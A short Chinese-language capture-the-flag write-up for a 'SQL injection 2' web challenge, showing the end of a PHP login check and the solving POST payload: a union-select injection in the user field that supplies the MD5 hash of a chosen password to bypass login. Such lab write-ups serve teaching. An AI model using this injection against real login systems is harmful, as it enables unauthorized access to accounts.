CGCTF-web-SQL注入2 (union select利用)

Logged in! Key: ntcf{**************} 
";
  }
  else {
    echo("
Log in failure!
");
  }
}
?>

不多解释，post数据：user=' union select '9e3895cedfa93fc7d6f63cb00ad91d1b&pass=zaq

9e3895cedfa93fc7d6f63cb00ad91d1b是zaq的md5值。